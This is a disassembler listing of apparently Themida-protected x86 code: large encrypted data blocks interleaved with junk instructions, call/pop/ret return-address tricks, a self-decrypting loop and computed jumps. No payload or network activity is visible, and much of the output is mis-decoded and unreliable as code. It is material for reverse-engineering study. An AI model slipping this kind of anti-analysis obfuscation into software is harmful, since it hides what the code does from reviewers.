		dd 4C2h, 4EA8300h, 5C241487h, 0BE240C89h, 69387259h, 69A0B850h
		dd 0C6316F22h, 0C8B5458h, 4C48324h, 0CFB850h, 600D6004h
		dd 0D18A36Ch, 2CB10EFDh, 0B76EF735h, 89C8017Ch,	34FF5830h
		dd 0C4835924h, 24348B04h, 81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 0F95123E9h, 115658FFh, 0CD32DEAEh, 0B5F1D6FBh
		db 0BFh, 0F7h, 6Ah
; ---------------------------------------------------------------------------


loc_5EF317:				; CODE XREF: Themida_:005EDE14j
		mov	eax, 61A2FB2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 5BA8D0FFh, 4630B462h, 6197CED1h, 55ED9D5h, 9CB53CBh
		dd 31098D8Dh, 0D18B061Ah, 1BBD8D89h, 10E90613h,	26000000h
		dd 411B4F3Dh, 56D4EAA4h, 0CE257EB5h, 0C7E952B6h, 1318DD85h
		dd 647806h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 9B5DBF9Bh, 31F5B58Bh, 85C70613h
		dd 6133055h, 0
; ---------------------------------------------------------------------------
		or	[ebp+6131939h],	edx
		push	dword ptr [ebp+6132831h]
		push	0
		push	esi
		call	sub_5EF3A7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF3A7	proc near		; CODE XREF: Themida_:005EF39Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5EF3A7	endp

; ---------------------------------------------------------------------------
		add	[edx+6Dh], esi
		cld
		call	dword ptr [ebp+6131D89h]
		mov	ebx, 5817ADF5h
		mov	eax, [ebp+6130179h]
		push	0
		call	dword ptr [ebp+6130DA9h]
		mov	eax, eax
		jmp	short loc_5EF407
; ---------------------------------------------------------------------------
		dd 0D3208B03h, 3BE387BBh, 0D1744846h, 0A20C5CF7h, 71DF4B38h
		dd 0B5673192h, 93A797D5h, 23BE7238h, 5DAA8455h,	4EE81B58h
		dd 0CC88268Ch
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 1Dh,	9Eh
; ---------------------------------------------------------------------------


loc_5EF407:				; CODE XREF: Themida_:005EF3D6j
					; Themida_:005EF410j
		call	sub_5EF419
		dec	eax
		push	ss
		sbb	ch, [esi]
		loop	near ptr loc_5EF407+4
		mov	esi, fs:[ebx-6C4544B8h]

; =============== S U B	R O U T	I N E =======================================



sub_5EF419	proc near		; CODE XREF: Themida_:loc_5EF407p
		mov	ax, 26Fh
		pop	edi
		add	eax, [ebp+6131CD5h]
		add	edi, 6607h
		mov	dl, 44h
		sub	esi, esi
		sbb	ebx, 7A6A73FBh


loc_5EF434:				; CODE XREF: sub_5EF419+8Fj
		mov	ecx, [edi+esi]
		jz	loc_5EF451
		jo	loc_5EF451
		jmp	loc_5EF451
; ---------------------------------------------------------------------------
		dd 10D554A1h, 812647C7h
		db 0B2h
; ---------------------------------------------------------------------------


loc_5EF451:				; CODE XREF: sub_5EF419+1Ej
					; sub_5EF419+24j ...
		add	ecx, 0D09D6C9h
		mov	[ebp+6132C71h],	edx
		sub	ecx, 32B57D89h
		and	bl, 2Bh
		sub	ecx, 49657A4Eh
		movzx	eax, di
		push	ecx
		mov	bx, di
		pop	dword ptr [edi+esi]
		mov	eax, edx
		clc
		sub	esi, 1
		mov	eax, [ebp+6132491h]
		dec	esi
		dec	esi
		dec	esi
		mov	[ebp+6132C99h],	edx
		cmp	esi, 0FFFF9A9Ch
		jnz	loc_5EF4A5
		mov	bx, dx
		jmp	loc_5EF4B3
; ---------------------------------------------------------------------------
		or	eax, 5AC2D53Eh
		leave


loc_5EF4A5:				; CODE XREF: sub_5EF419+78j
		sub	ah, 0DEh
		jmp	loc_5EF434
; ---------------------------------------------------------------------------
		db 9Ah,	0CEh, 5Dh
		db 14h,	0CEh, 0F7h
; ---------------------------------------------------------------------------


loc_5EF4B3:				; CODE XREF: sub_5EF419+81j
		lea	ecx, [ebp+61A32ABh]
		cmc
		mov	di, 0A34Dh
		mov	[ebp+6131BBDh],	ecx
		push	0
		push	edx
		call	sub_5EF4CF
		and	[edx-3Dh], bl
sub_5EF419	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5EF4CF	proc near		; CODE XREF: sub_5EF419+AEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5EF4CF	endp

; ---------------------------------------------------------------------------
		pusha
		inc	edx
		imul	ecx, esp, 1E41858Bh
		adc	eax, [esi]
		mov	dword ptr [ebp+61318DDh], 6E00h
		push	0
		push	ebx
		call	sub_5EF4FE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF4FE	proc near		; CODE XREF: Themida_:005EF4F6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx

locret_5EF50D:				; CODE XREF: Themida_:005EF561j
		retn
sub_5EF4FE	endp

; ---------------------------------------------------------------------------
		dw 364h
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6131D9Dh]
		pusha
		mov	esi, [ebp+613094Dh]
		popa
		mov	[ebp+61321A9h],	edi
		mov	dword ptr [ebp+6133055h], 0
		mov	[ebp+6131EFDh],	ecx
		push	dword ptr [ebp+6130ED5h]
		and	dx, 7AFCh
		call	dword ptr [ebp+6131D89h]
		push	0
		push	ebx
		call	sub_5EF550
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF550	proc near		; CODE XREF: Themida_:005EF548p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5EF550	endp

; ---------------------------------------------------------------------------


loc_5EF560:				; CODE XREF: Themida_:005EF564j
		cdq
		loop	locret_5EF50D
		dec	ebx
		loope	loc_5EF560
		test	eax, 0A19D298Dh
		adc	edx, [ebx]
		push	es
		push	0
		call	dword ptr [ebp+6130DA9h]
		mov	eax, eax
		jmp	short loc_5EF589
; ---------------------------------------------------------------------------
		dw 446Bh
		dd 0E2912059h, 0A6AEE932h, 49058F38h
		db 79h
; ---------------------------------------------------------------------------


loc_5EF589:				; CODE XREF: Themida_:005EF578j
		jmp	loc_5EF5BD
; ---------------------------------------------------------------------------
		dw 7CD8h
		dd 3072h, 0Ah dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5EF5BD:				; CODE XREF: Themida_:loc_5EF589j
		jmp	loc_5EFB19
; ---------------------------------------------------------------------------
		push	61A341Ch
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A34D9h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A363Eh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 0EFCF87D3h, 0F5D579C9h, 0E9C981D3h, 0FAD878C7h, 0EBCB89D8h
		db 0B8h, 77h
; ---------------------------------------------------------------------------


loc_5EF5F6:				; CODE XREF: Themida_:005EF614j
		push	ss


loc_5EF5F7:				; CODE XREF: Themida_:005EF611j
		mov	dword ptr [ebp-6A42F4D3h], 88C01335h
		sub	cl, [eax]
		mov	ch, 97h
		aaa
		sub	ah, ds:0B7E856B0h
		push	ss
		pop	ds
		assume ds:nothing
		or	bl, [eax-43h]
		jo	short loc_5EF5F7
		push	ebp
		jno	short loc_5EF5F6
; ---------------------------------------------------------------------------
		dw 4E6Ch
		dd 506F1752h, 0C67506Fh, 0DAA2104Fh, 26CD4938h,	0B101109Eh
		dd 854FCE9Dh, 8F138B06h, 4ADEC416h, 61ED3Dh, 0CDEA2BB8h
		dd 0D8FA56E5h, 6302CA88h, 8B11B412h, 0A7F0B0Ah,	0ACB712E2h
		dd 379BA5Ah, 3A1D0000h,	8B064FCBh, 0EBF5180Ah, 0D5DFB971h
		dd 61F05CEDh, 459C9820h, 72F36241h, 0F3168EA5h,	0D5972BCCh
		dd 4999117Eh, 0F5C6405h, 84D57DCBh, 0A836405h, 0E7E50E03h
		dd 3E942C35h, 453DD6E8h, 0ECCBE889h, 5A1373C6h,	4030B63Dh
		dd 2B6AFB9Ah, 834F62A1h, 0C5481315h, 55313874h,	59320776h
		dd 3C1B0D02h, 0BA8BC516h, 44B02A5Bh, 147900FEh,	0E1FE1FCCh
		dd 0C6E468F9h, 673551E4h, 0C3FD9DC4h, 36B5A8C9h, 47768531h
		dd 377A5A0h, 8DD90000h,	77C7E9C9h, 7FD1F7D7h, 76C5EBCBh
		dd 87D6FCDAh, 71BEEDCDh, 2787CD1Ch, 3F9FB301h, 2482C619h
		dd 1A1ABFEh, 6CE61738h,	3516B7E9h, 0BEA382DCh, 0CB9AB605h
		dd 77D5684Ah, 0BB8EB916h, 924351F7h, 0DD104D97h, 16884245h
		dd 0CA5E4986h, 76B33E18h, 0DAE43E2Fh, 0AAAD0A83h, 83DADF3Bh
		dd 465A80Ah, 0DADC36A7h, 60A50A83h, 2B80A201h, 3CD4C1Dh
		dd 0D4CEF9D6h, 0C46748DAh, 0C11D506Fh, 8A0A8410h, 428FC10Bh
		dd 10A52154h, 2F6E0A84h, 0FB4A704Eh, 70557A59h,	0F8D6A87Dh
		dd 2362B736h, 415D917Ch, 0EF7ECA5Dh, 36C726AEh,	0E948BAD5h
		dd 0D588C415h, 800B1920h, 0BA93CE5Dh, 96000002h, 8AB00E48h
		dd 92B81638h, 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h
		dd 5AF8486Ah, 4701567Ch, 5CF04167h, 0FB6A757Eh,	16B7E89Fh
		dd 0A30D3168h, 7AEBC8BEh, 168786E4h, 2051E025h,	0A8381A2h
		dd 88FDDAF9h, 0A83820Eh, 81BC1647h, 850A83h, 800AD233h
		dd 2B13E10Bh, 0D0BB5AA4h, 9F000001h, 0C3E06CBDh, 4ADFCDCh
		dd 57611081h, 0D973C608h, 0E2A4BDF9h, 0EF5590C5h, 0BFDE168Eh
		dd 3689B1AEh, 0E0C24312h, 94F3FD4Bh, 0A8AEB36h,	6488018Dh
		dd 5AACD094h, 693Ch, 0DDC22200h, 0EDE4A91Ch, 0D7E3ED90h
		dd 0F8D7F492h, 0B52CA6D7h, 0F065109Dh, 109DB496h, 0EC313E5Fh
		dd 76D592C7h, 666EEA64h, 8F0E2627h, 0F2436716h,	428A0B5Ah
		dd 0A0D160A5h, 0A8AFE22h, 0EE7FC95Eh, 0B92E5AECh, 0E84F4F58h
		dd 7357E687h, 4C4669E1h, 93FFC6AFh, 0FF6E51F6h,	0A8BA9A3h
		dd 379F296Ch, 5AAC1F79h, 0BAE1h, 6CBD7500h, 4D7251E0h
		dd 0BCF6530Eh, 0BC9E26D3h, 3416272Dh, 0B89AABA1h, 0A2882725h
		dd 5A784012h, 9E2D892Bh, 94B80910h, 8B811037h, 0C7234D93h
		dd 17BC7B12h, 18A08336h, 0A4351D3Ah, 0CD1420A8h, 55EB1AB9h
		dd 5216885Dh, 1FAE9433h, 73D7A16Fh, 93F25FF0h, 94C00D33h
		dd 0F6B3EE1h, 85C06780h, 155h, 0C7E76FFBh, 0DDFD51E1h
		dd 0C1E169FBh, 0A20050DFh, 83233180h, 0DF6E9F90h, 0E5735575h
		dd 0D86B4D6Dh, 0DD705270h, 5D824F6Fh, 0B7EAAE28h, 40227716h
		dd 0C7E470BDh, 0F47E24E0h, 8628E3AAh, 0CC4D1C36h, 61F4D604h
		dd 0C5EACBEBh, 409D2367h, 6572C8F0h, 48797358h,	0BDC58F59h
		dd 6D51E06Ch, 66BFAADCh, 0F30FE74Dh, 0E3123592h, 109E8667h
		dd 78C9ED30h, 0F1CE0CD4h, 0BD579C9h, 0EFCCBAAFh, 247EEFD0h
		dd 0ED109E86h, 865DB9A8h, 0E726109Eh, 988D00DDh, 51168FCCh
		dd 0EFD0EFCCh, 8B36247Eh, 3A8ED0Ah, 0DC363CDAh,	9CBE0669h
		dd 82A8074Dh, 97F36232h, 600A8ADBh, 46945C3Dh, 8ADBB717h
		dd 0EA62F30Ah, 0FD57E6CCh, 8B716Ch, 0A3CD0000h,	159502BEh
		dd 9ACB3873h, 0EDA9DCFBh, 3616885Ch, 614986D7h,	0A8DBAD4h
		dd 0A6F8347Bh, 8ADBFDC7h, 6BBEE4C2h, 0E12150E1h, 2E20DC89h
		dd 4A9B47C4h, 9C83A402h, 9ACBBB59h, 0D41C1740h,	0EC1F8409h
		dd 0BE9623BCh, 0E56DFBDFh, 0A9AB3554h, 21253418h, 0E068FB92h
		dd 398E3051h, 0BEDF3E0Fh, 9E84B9AFh, 2C2E3F09h,	0F4D3B298h
		dd 1C490581h, 854FCED4h, 71C46E0Bh, 26EFEE15h, 6100D4D6h
		dd 7ECE5F41h, 3F2EFh, 7B500000h, 0E571BDE1h, 6DDF7254h
		dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h
		dd 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 68243489h, 322Fh
		dd 81240C89h, 4ECh, 241C8900h, 3E456850h, 48B4F3Fh, 4C48124h
		dd 2D000000h, 18F812F2h, 521B130Dh, 5E8C10Ah, 27793C05h
		dd 58C18904h, 241C8B54h, 5104C483h, 49E4B951h, 4C2908ECh
		dd 8F590424h, 43810843h, 0EC49E408h, 241C8B08h,	81E28952h
		dd 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8950240Ch, 405E0h
		dd 0C0830000h, 24048704h, 4922E95Ch, 9267FFF9h,	0ACBA8A97h
		dd 0A692826h, 0D04C790Dh
; ---------------------------------------------------------------------------
		push	cs


loc_5EFB19:				; CODE XREF: Themida_:loc_5EF5BDj
		mov	eax, 61A37B8h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 8B79h
		db 90h
		db 22h,	0FAh, 0FEh
		dd 0F61100FAh, 864A0A1Ch, 0AA7D5E52h, 34A44610h, 83264612h
		dd 7B907FECh, 0D8311DD0h, 0B9952EA5h, 5A8238E7h, 0CCB37A66h
		dd 0E39107B4h, 5F1356BBh, 0BE2C1D25h, 231E041Dh, 0FE8697Ah
		dd 3A000000h, 58F508EEh, 98115843h, 9940E536h, 0B9669F4Dh
		dd 6058B74Ah, 0B86657B5h, 8161BD6Ch, 5DC4C0h, 0AE900h
		dd 128B0000h, 67CDE644h, 3558D701h, 1736BAh, 0CF8B6600h
		dd 606030FFh, 60D88B66h, 9E96161h, 50000000h, 383D947h
		dd 7CC2EF7Ch, 0B70F5B61h, 2EEB81F0h, 66167C9Eh,	0F381F88Bh
		dd 2FF76063h, 0DE816056h, 764D8602h, 0FE9h, 95A09B00h
		dd 8608892Bh, 0B7A60756h, 84021AB2h, 0C3815961h, 1B9AA022h
		dd 8E8h, 4D8DFF00h, 0CF04124Bh,	68F0F36h, 81000000h, 0D596E7D9h
		dd 18895F0Dh, 2C820Fh, 11E80000h, 7F000000h, 2E1905DFh
		dd 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 10E9h, 0AEA0AE00h
		dd 0D678F6BFh, 65A8E040h, 392856D1h, 0E8835F78h, 0F4AF804h
		dd 0FFFF5785h, 9E9FFh, 4A340000h, 0DF8ED402h, 0E8815C9Ah
		dd 0Ch,	2A333B5Eh, 0BE00ECE3h, 8A23C21h, 45C88166h, 8E0F5E66h
		dd 2, 0C68118B4h, 66D1h, 5E8h, 7A8E4900h, 8166F491h, 5842A0D7h
		dd 0ECA420BAh, 5EF28133h, 6633ECBDh, 0FFAAD6BFh, 13E936h
		dd 0FE060000h, 7AC95546h, 27C1DD12h, 906537Ch, 99CB7383h
		dd 66565BF6h, 8159C38Bh, 0F19D5FC3h, 0BE95372h,	0EA000000h
		dd 0F6103E4Eh, 73CF675Bh, 815FBC57h, 0DCFD0BC3h, 2810F67h
		dd 8B000000h, 1FEB81CFh, 0E9011165h, 14h, 8296026Ch, 7FB625F6h
		dd 0B1FD6769h, 5CE07409h, 0A879C07h, 0DE953h, 82670000h
		dd 0E6EFE05Dh, 0FC199376h, 8FABC20Ch, 0CDE58006h, 7E68EE81h
		dd 6EBF10AAh, 812A27C8h, 0AA7E64C6h, 5ED18110h,	4A32E0C2h
		dd 0FF65850Fh, 0BF0FFFFFh, 11E8C0h, 8B460000h, 9C57D05h
		dd 0A461AFC0h, 0A184FA0Ah, 0B65927D4h, 0F38B59A0h, 5C49C181h
		dd 680000h, 0E8000000h,	9, 0DC3315EBh, 0A5D28C1Ah, 36CE80DCh
		dd 810F5F5Eh, 3, 8B55C480h, 890F391Ch, 5, 0D5D88166h, 0C6EB81C0h
		dd 0E84D78B6h, 5, 7491FAF9h, 0C3815E48h, 608332F9h, 40F381F8h
		dd 6671DAC4h, 42DED081h, 0E9391C89h, 0Fh, 7D90628Ch, 98063022h
		dd 0E3650215h, 8389C4D1h, 0B70F04EFh, 78FF81D1h, 0FFFFFA4h
		dd 1485h, 21F68100h, 0E90B126Ch, 23h, 9036DDB9h, 3B0711E1h
		dd 0F08166AAh, 88E9A0BBh, 85FFFFFFh, 0A8AD757Eh, 4D58FF08h
		dd 0BEDD3168h, 8B7CBF74h, 25BD83C0h, 61316h, 0BD830975h
		dd 6132C81h, 50197400h,	0B8C08B53h, 421h, 0D7D8589h, 9D8D0613h
		dd 615A97Dh, 585BD3FFh,	2C81BD83h, 74000613h, 0B8535017h
		dd 421h, 0D7D8589h, 9D8D0613h, 615A66Ch, 585BD3FFh, 9D8BC08Bh
		dd 6130BB9h, 11E185C6h,	68560613h, 9CA8B852h, 1EE9B5FFh
		dd 858D0613h, 6167C33h,	46AD0FFh, 100068h, 25B5FF00h, 6A061317h
		dd 85D0FF00h, 0D850FC0h, 0B8000000h, 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+6137533h]
		jmp	ecx
; ---------------------------------------------------------------------------
		dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 2DBD83D3h, 6132Ah
		dd 0E840Fh, 9D8B0000h, 6132A2Dh, 0BF1858Bh, 3890613h, 858D5251h
		dd 61343ECh, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 11E185C6h
		dd 68560613h, 0D41F6D39h, 1EE9B5FFh, 858D0613h,	6167C33h
		dd 68D0FFh, 6A000080h, 0D0FF5200h, 0BD83C08Bh, 6131625h
		dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h,	421B8h
		dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
		dd 6132Ch, 53501774h, 421B8h, 15858900h, 8D061331h, 15A6859Dh
		dd 5BD3FF06h, 8DC08B58h, 132A2D9Dh, 0B038B06h, 7840FC0h
		dd 8B000000h, 45B8B03h,	41B81889h, 0E800004Bh, 0Bh, 7C550BADh
		dd 2E4DEEF9h, 664EA313h, 596843B8h, 8150C480h, 67B5C1h
		dd 68FC00h, 80000000h, 8B5A42CBh, 0A34FFFBh, 0F5EC68Ah
		dd 178Ch, 0B2B96000h, 0E847F7A5h, 0Ah, 0C6EED06Ch, 0AE64D6F4h
		dd 615A39FBh, 0E606C681h, 0FD8A5081h, 0F873C681h, 815124F5h
		dd 9002A0D3h, 0C6815F09h, 18C44EFCh, 804AE081h,	66560C64h
		dd 342BE881h, 6611048Fh, 816CC8BFh, 0FB82B4EAh,	0B0C28162h
		dd 5262FB82h, 0CE9h, 42427B00h,	0DFAD6283h, 93FE1D63h
		dd 0FA8158C1h, 0FFFF992Ch, 1E850Fh, 880F0000h, 5, 8FD38166h
		dd 33E97Bh, 810B0000h, 0E51ECEDDh, 0BFEA91F8h, 8FE626D2h
		dd 5860F60h, 0B8000000h, 4B056FFCh, 0FF53E961h,	2244FFFFh
		dd 4FBA7F71h, 0F388535Eh, 0BA98D58Ch, 0AC336552h, 9E889h
		dd 16A60000h, 0E15B28F8h, 5F3A2FEAh, 81F4ED80h,	0E284C7h
		dd 14E900h, 0A6B40000h,	5B28F816h, 3A2FEAE1h, 6043E021h
		dd 0F2CC6942h, 71689B79h, 8B000038h, 0C5805AC8h, 0BB378B11h
		dd 68DE59FBh, 0F33FF681h, 890F661Bh, 4,	46F6BB66h, 73E5EE81h
		dd 0DB8122A6h, 67228F02h, 0C70FF681h, 91B865CCh, 8963F68Ch
		dd 13E937h, 3A450000h, 593AF78Fh, 0E3B3940Eh, 51E660C7h
		dd 43063DA7h, 1EF832Eh,	4F4FC38Bh, 8182B74Fh, 1EAh, 13850F00h
		dd 0B1000000h, 28E911h,	96330000h, 0FBD675F1h, 0D5B40441h
		dd 830FECF0h, 2, 82E93DB7h, 0CAFFFFFFh,	0E34262D6h, 0C61E9144h
		dd 2C4A8624h, 8D8D1A87h, 61A3F6Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 51C35040h, 1A51BE66h, 1BBD8D89h
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0C6DD09C3h, 8D892FB9h, 6131285h, 18DD85C7h
		dd 623C0613h, 8EBF0000h, 0C700C69Eh, 13305585h,	6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0CCA841B7h, 3594B863h, 0E9D2BF0Fh, 11h, 8040B67Ch, 8F5D0B95h
		dd 95945850h, 4F67DBB7h, 418D0145h, 0FF061317h,	130ED5B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0C58AB8C9h, 958B7E50h, 6132881h,	1D8995FFh
		dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0BDB643C3h, 60767591h, 830Fh, 0BB660000h
		dd 830FA482h, 3, 6AC2BF0Fh, 0A995FF00h,	8B06130Dh, 6D0FEBC0h
		dd 0C43E1A46h, 0E6EA6BCh, 0B21A4263h, 0C3E9357Fh, 42000000h
		dd 5E4462F4h, 0FE2482CCh, 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h
		dd 0B4A02D5Eh, 0AEA43416h, 0B3952A10h, 0B09C2D13h, 0D7064912h
		dd 16B7F47Bh, 0C271CD44h, 0A9E063DDh, 0DBE595E1h, 57E66AF9h
		dd 5AF64593h, 4C08557Dh, 6549CFDh, 62D774D7h, 3F91B9EFh
		dd 11DB3A0Bh, 0DEE0EC72h, 81C92B10h, 997C109Bh,	0E410581Ch
		dd 1Fh,	1975E8C7h, 520FD388h, 0D387A723h, 1E2D700Fh, 434FC539h
		dd 83E2EF00h, 0FAC2921Fh, 0BDE17B60h, 7254E571h, 0FADC6DDFh
		dd 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h,	2D112030h
		dd 0BC9EAF9Bh, 2215242Ah, 1A3F8568h, 4126E906h,	574BFFF9h
		dd 4CA8C124h, 43F36D51h, 10E8CD45h, 0EC000000h,	70B8FF28h
		dd 8D329E87h, 7D5C16E2h, 8B1A0516h, 133521BDh, 66525B06h
		dd 5F944DB8h, 59A7C381h, 81660000h, 337540F7h, 71B589F6h
		dd 0FF06132Bh, 0C68A1E34h, 958B605Ah, 6130159h,	81615A50h
		dd 8D906DEAh, 0B1858B3Fh, 81061325h, 0E4020EAh,	83C08117h
		dd 815BC263h, 0CCBC25EAh, 0B58D8B7Ah, 52061316h, 14E9h
		dd 3816E600h, 0DF1DE1Fh, 0BA4119EEh, 3CAE9F31h,	6BA3DE01h
		dd 33048F54h, 23E1858Bh, 0FA8B0613h, 0F04EE83h,	0B80h
		dd 5830F00h, 0B9000000h, 53568536h, 0A704FE81h,	850FFFFFh
		dd 0FFFFFF87h, 1DF9858Bh, 9D8D0613h, 6131F31h, 23E4B8h
		dd 5D858900h, 0E806131Eh, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5F27CD
; ---------------------------------------------------------------------------
		align 4
		dd 8F8h	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5F27CD:				; CODE XREF: Themida_:005F03E4j
		jmp	short loc_5F27E5
; ---------------------------------------------------------------------------
		align 10h
		dd 4 dup(0)
		dd 1000000h
		db 1
; ---------------------------------------------------------------------------


loc_5F27E5:				; CODE XREF: Themida_:loc_5F27CDj
		mov	eax, 1A000001h
		push	es
		push	0
		push	edx
		call	sub_5F27F6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F27F6	proc near		; CODE XREF: Themida_:005F27EEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5F27F6	endp

; ---------------------------------------------------------------------------
		dw 5134h
		dd 37B69B05h, 0AE86050h, 7E000000h, 188CC815h, 0CCE8B9B9h
		dd 8A0F23h, 5A000000h, 61C28B66h, 6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 429EC351h, 0EE8h, 0BE883800h, 0C3A988F9h, 0ED427C28h
		dd 0FB7EF97h, 6A5FDABFh, 10E900h, 2F3F0000h, 0E9A93E79h
		dd 45F1068Bh, 0AF2D24C3h, 6A3E74h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0A4C35646h,	8B7C3F52h, 8D9FBB0Bh
		dd 1A66A485h, 0C9816606h, 0F88B158Eh, 64A9B990h, 0F502EDFh
		dd 287h, 90CF8B00h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 38C35747h, 0EB5B3A69h, 86E4E412h, 14D19589h
		dd 6A0613h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 18h,	92C35747h, 7649B85Eh, 61FE8B60h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F02847C3h, 2FB436D9h, 9E924h, 497B0000h, 0BF840847h
		dd 0FF00DE4Ch, 1307F195h, 0C1816606h, 9D2BA5CDh, 61329CDh
		dd 5D0E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1504h, 0C3504000h, 0E8F5F9h,	5D000000h, 66A9ED81h, 6A061Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 493202C3h, 8166AD68h, 6ADACFE3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 7139C352h
		dd 0B0739AA4h, 6E8h, 0BC213E00h, 8B22706Dh, 92685BD9h
		dd 664F5D93h, 815F4FBFh, 9C322434h, 95FF4F5Dh, 6130DA9h
		dd 5E8h, 0DD678900h, 0BD3115C4h, 6130165h, 5B58D5Ah, 6A061A65h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0E698C353h, 20F5B589h, 0B70F0613h, 5206C7D2h
		dd 0C76D6765h, 6E6F0446h, 6A6C63h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 57D6B9C3h, 661CFC89h
		dd 0B509C88Bh, 6130B39h, 610846C7h, 0B7007373h,	0F59D8933h
		dd 6A061315h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E81F0601h, 5, 1FC7181Ah,	66605F97h
		dd 412DE081h, 5858D61h,	6A061A65h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5B17C355h
		dd 4ED891D6h, 0B52213Ch, 1324A1BDh, 52505006h, 2C806ABBh
		dd 0B9310F44h, 0DCB3994h, 489585Ah, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 752945D7h
		dd 0FF40BBFEh, 13117995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0E4812029h
		dd 89E3D48Dh, 130E1D9Dh, 0FC00B06h, 4B84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 31A3D53h, 87E9A505h,	6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 5B1FC351h
		dd 122C875Eh, 0D78B74CFh, 16CA9968h, 46BA6670h,	24348144h
		dd 7016CBB5h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0F7C35242h, 81D6CB0Ah, 0FFA64EC2h, 130DA995h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 1926CFF4h, 0C88A7E89h, 12198D8Bh, 0B58D0613h, 61A6505h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0F3C35040h
		dd 0C78FA597h, 34383106h, 57006A36h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0E280B6D8h
		dd 258D89C1h, 0E9061312h, 0Ah, 0BA878C65h, 415C5A07h, 46C78567h
		dd 342D3704h, 85895131h, 61314A5h, 846C75Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5F2C63
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F2C63	proc near		; CODE XREF: Themida_:005F2C5Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5F2C63	endp

; ---------------------------------------------------------------------------
